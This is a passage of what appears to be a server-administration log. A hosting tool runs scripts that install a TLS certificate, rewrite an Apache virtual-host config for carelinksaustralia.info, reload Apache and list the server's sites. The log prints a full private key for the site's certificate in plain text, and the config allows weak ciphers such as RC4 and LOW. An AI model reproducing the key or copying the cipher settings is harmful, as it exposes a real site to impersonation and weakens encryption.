ew9zY7rG1NCSDgV5aRenJTdaMi0LiB2oiXZcH/h3jjO80yr/VhN518U2sqhQnnwu
Zlh7PePmG3FAfTfxeMkaBy5RFtPIvo1+ZQa2nQhV2rjPShJ1hy7i60NaIMExnA8v
rQcmm3N6GZzO4qoyyznIuQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-09 11:18:02: 

chmod 755 /tmp/pkp349583; /tmp/pkp349583; rm /tmp/pkp349583

2025-10-09 11:18:02: 


dir=/etc/ssl/certs


2025-10-09 11:18:02: 

PUT: /tmp/pkp746642

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-09 11:18:02: 

chmod 755 /tmp/pkp746642; /tmp/pkp746642; rm /tmp/pkp746642

2025-10-09 11:18:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 51

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-09 11:18:02: 

PUT: /tmp/pkp868684

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksaustralia_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf= 1'
fi


2025-10-09 11:18:02: 

chmod 755 /tmp/pkp868684; /tmp/pkp868684; rm /tmp/pkp868684

2025-10-09 11:18:02: 




2025-10-09 11:18:02: 

PUT: /tmp/pkp396074

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-09 11:18:02: 

chmod 755 /tmp/pkp396074; /tmp/pkp396074; rm /tmp/pkp396074

2025-10-09 11:18:02: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:18:02: Establishing a connection
2025-10-09 11:18:02: 

PUT: /tmp/pkp567641

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-09 11:18:02: 

chmod 755 /tmp/pkp567641; /tmp/pkp567641; rm /tmp/pkp567641

2025-10-09 11:18:02: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:18:02: 

PUT: /tmp/pkp700029

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:18:02: 

chmod 755 /tmp/pkp700029; /tmp/pkp700029; rm /tmp/pkp700029

2025-10-09 11:18:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf	1274

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-09 11:18:02: 

PUT: /tmp/pkp974480

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:18:02: 

chmod 755 /tmp/pkp974480; /tmp/pkp974480; rm /tmp/pkp974480

2025-10-09 11:18:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt	5365
21:03:60:73:69:20:19:5a:2e:d2:79:96:5b:57:94:3f

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBroQFSy3DXAJhj0iOpYAjfcDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAxOTMxWhcNMjYwMTA3MTAxOTMwWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAOLYaj5wmV+oUiXkuQMjwDNB++vwX7U0QK5niWvwV+cxvF4WKjHL
r6vn4HqE4q4EzERKIirHlH1Uf3Z0ASEZjX4cYxsHX+T8Yz702TaWG5EG2ER+jsc+
GmWk6s5Eo9vfL3yQx5YfPPvcSAFXoP8KdMvD7IMNNiVrx2jdmPwMXf6ypvzlSXR2
JcKZVTGQRgpRlXLvDVY7UkqcR6/XCCWnQnbHoBCoTaEvc+RG1wAMHbfXWB9TC6nV
QON4QG4vgbOTOKaaZsetFVPGTxFzU4r+oCwAUxypHxS058ueM7cnaoEyMGED+arH
/3BjazKLAcQbsUFnjNRFdAQFZAKeTKkEjRcCAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUrH86LHHv9SF5d312SyLsIyn84jQwHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mbzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzQuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGZ
yLE23QAABAMARzBFAiEAkgR7XTyxLedPjdDAcNigDAmL3wcjNYvWka6QV8LW4l8C
ICOL+DLCt3VhRZe21a/xpJSglYy59o5TXssCFAtNFZWgAHYAlpdkv1VYl633Q4do
NwhCd+nwOtX2pPM2bkakPw/KqcYAAAGZyLE3AwAABAMARzBFAiANcUZxd/eZE3v3
jdy0lqykU7rVG6uu2oiDPI3XcGW0EAIhAMUa32XDhQTFvDxWihTuWjr8Ncia9ATy
qrTtH+xqorARMA0GCSqGSIb3DQEBCwUAA4IBAQCiaagkAJsOHrzKWC3LHq3DjFVl
sDdClIVdzB/2W1ZgLrCZSJ/bCS5ObjjREy98LhRBzdFW45TVTWtKlBOS+U1O50qx
FjVeOz4Tv38CoiUK3D7PaZDhhCfrX3C5jkkmkKZ9aaDOEBmi0SBCm+c4XBbV60SK
NXuEZ3qr9Yw1kSC+6we6PgHbI/uaBVAGlOwclyOrkkGFnkkAMwONYhPGWo8vqpjY
avu7HNr5XVqr/A0C09VK3zAUuhLW/n+WU2NfjQqSy2bxvfMn5ZeKOCZ7jpiYenIz
lPEFlxOSjVpQzW4lYG0q28Gh0MvBIURqeXNztSFRc6HaGefFALJovBUaw/xW
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDi2Go+cJlfqFIl
5LkDI8AzQfvr8F+1NECuZ4lr8FfnMbxeFioxy6+r5+B6hOKuBMxESiIqx5R9VH92
dAEhGY1+HGMbB1/k/GM+9Nk2lhuRBthEfo7HPhplpOrORKPb3y98kMeWHzz73EgB
V6D/CnTLw+yDDTYla8do3Zj8DF3+sqb85Ul0diXCmVUxkEYKUZVy7w1WO1JKnEev
1wglp0J2x6AQqE2hL3PkRtcADB2311gfUwup1UDjeEBuL4GzkzimmmbHrRVTxk8R
c1OK/qAsAFMcqR8UtOfLnjO3J2qBMjBhA/mqx/9wY2syiwHEG7FBZ4zURXQEBWQC
nkypBI0XAgMBAAECggEAMD2XsnmdlEMmXRqb4bgLmprwqQcwQ0e+bZhlGAg/mVHx
XgzWokpPrH4eNc/mqN0qV2dwhqp0wIZkqNsYlmJpvaTpyoix8u9dZ7kILFyVtiy/
dyl20ZY6ZN1CdeUQ96Qp5BKh7yHrhSAeS/LHsRUXK3IZ7PC1UBXwjTN64jb7Ejuj
WI61nlvATRNZNBaGG7heqqbvoVao88wHiWr4fw8EAgRXt1lTexVqX+OchUssJQ8e
bKHxfM7Dfa9aOgGTNFI1iYJ2ySITDkmh9P+IsqSthWtqz3QYuJydJPN8Gz9vnuS6
LjLmMzGukw/JhD1blehvKrWFR6FbIc+2ezvGoW0eEQKBgQD0Aarwg/72Qwwou9LI
y4WmuEvzsSMPj7Dn9A+7k4XtMtHF09JhH4U8iCpXCPaHlMUOzejiCGPWQYFGShIm
UAZ9XHvjwwPHrsjhRbwHPqw9x6noNSpsaoMkKrHcBuyIbPPqLX5rUJzDuGf+rer3
SLbce81sONNYsWGZWuHzSOpzOQKBgQDt/s8JQY4dkusMnpixm+pcoGoUXj4czzeB
NflWDGF0sXKiPPakG/YNA96zfX3IPd21DZeHwTc4VPL0wKdRZfwxiCri+2NMR1El
vlECmdkKNB8pS3nFoFfBI3SnNcITpjXXfxZ08nHh3YU7LhzIpRb3W115p4CHv4x6
DkgZIzJyzwKBgCnwH3E3PpsU6wIVRiU81bvR8TvxNhV2nPFBAXM758jc8zENNxt6
T2wX+y76W2TyLOxed6hhyMcKey2ZjYUIPBVPz/tViVDIub3+PlMAcportwgyGxiH
NgMBU5B9oCnSkBmvuAq50DfTegxL2BaoaMV8gdIX8jtMQXoaJLurzKABAoGAOHkR
KZIbpdrZ2Xm8o9BqcSZDZafjNzTYZ9ml24w+h9EfcW3j3Jch8H6tlou9kAlWFYMv
JLBtaPmHWRpp2X/IsvwrqQabzlrR35HkaSiWfrxVdJgLQiDFEfhW0uKHtd/nwMXQ
T1nEOiM1XRCZFedOps1QRfDAJ/YE4GWJKCXY77MCgYAUsglfhIY8AqK0e2Eh/GhP
ew9zY7rG1NCSDgV5aRenJTdaMi0LiB2oiXZcH/h3jjO80yr/VhN518U2sqhQnnwu
Zlh7PePmG3FAfTfxeMkaBy5RFtPIvo1+ZQa2nQhV2rjPShJ1hy7i60NaIMExnA8v
rQcmm3N6GZzO4qoyyznIuQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
